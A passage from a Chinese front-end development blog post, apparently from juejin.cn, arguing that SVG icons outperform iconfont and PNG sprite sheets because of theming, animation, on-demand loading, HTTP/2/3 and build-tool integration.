可以跟随字体颜色变化,支持 hover、active、主题色。


深浅模式切换不需要任何额外资源。




支持 CSS 动画、交互效果


SVG 不只是图标文件,它是 DOM,可以直接加动画:



  • stroke 动画

  • 路径绘制动画

  • 颜色渐变

  • hover 发光

  • 多段路径动态控制


PNG 和 Iconfont 都做不到这种级别的交互。


很多现代 UI 的微动效(Loading、赞、收藏),都是基于 SVG 完成。




二、SVG 为什么比 iconfont 更强?


Iconfont 在 2015~2019 年非常火,但明显已经退潮了。

原因有以下几个:




① 字体图标本质是“字符”而不是图形


这带来大量问题:


● 不能多色


只能 monochrome,彩色图标很难实现。


● 渲染脆弱


在 Windows 某些字体渲染环境下会出现:



  • 发虚

  • 锯齿

  • baseline 不一致


● 字符冲突


不同项目的字体图标可能互相覆盖。


相比之下,SVG 是独立图形文件,没有这些问题。




② iconfont 需要加载字体文件,失败会出现“乱码方块”


如果字体文件没加载成功,你会看到:



☐ ☐ ☐ ☐



这在弱网、支付类页面、海外环境都非常常见。


SVG 就没有这个风险。




③ iconfont 不利于按需加载


字体文件通常包含几十甚至几百个图标:

一次加载很重,不够精细。


SVG 可以做到按需加载:



  • 一个组件一个 SVG

  • 一个页面只引入用到的部分

  • 可组合、可动态切换


对于现代构建体系非常友好。




三、SVG 为什么比“新版雪碧图”更强?


即便抛开 iconfont,PNG 雪碧图也完全被淘汰。


原因很简单:



  • 雪碧图文件大

  • 缓存粒度差

  • 不可按需加载

  • 维护复杂

  • retina 适配麻烦

  • 颜色不可动态变更


而 SVG 天生具备现代开发所需的一切特性:



  • 轻量化

  • 组件化

  • 可变色

  • 可动画

  • 可 inline

  • 可自动 tree-shaking


雪碧图本质上是为了“减少请求数”而生的产物,

但在 HTTP/2/3 中已经没有价值。


而 SVG 不是 hack,而是自然适配现代 Web 的技术方案




四、SVG 为什么能在工程体系里更好地落地?


现代构建工具(Vite / Webpack / Rollup)原生支持 SVG:



  • 转组件

  • 优化路径

  • 压缩

  • 自动雪碧(symbol sprite)

  • Tree-shaking

  • 资源分包


这让 SVG 完全融入工程体系,而不是外挂方案。


例如:


import Logo from './logo.svg'

你可以:



  • 当组件使用

  • 当资源下载

  • 当背景图

  • 动态注入


工程化友好度是它胜出的关键原因之一。




五、SVG 胜出的根本原因总结


不是 SVG “长得好看”,也不是趋势,是整个现代前端生态把它推到了最合适的位置。


1)协议升级:HTTP/2/3 让雪碧图和 Iconfont 的优势全部消失

2)设备升级:高分屏让位图模糊问题暴露得更明显

3)工程升级:组件化开发需要精细化图标

4)体验升级:动画、主题、交互都离不开 SVG


一句话总结:



SVG 不只是“更清晰”,而是从工程到体验全面适配现代前端的图标方案,因此胜出。



作者:吹水一流
来源:juejin.cn/post/7577691061034172462
收起阅读 »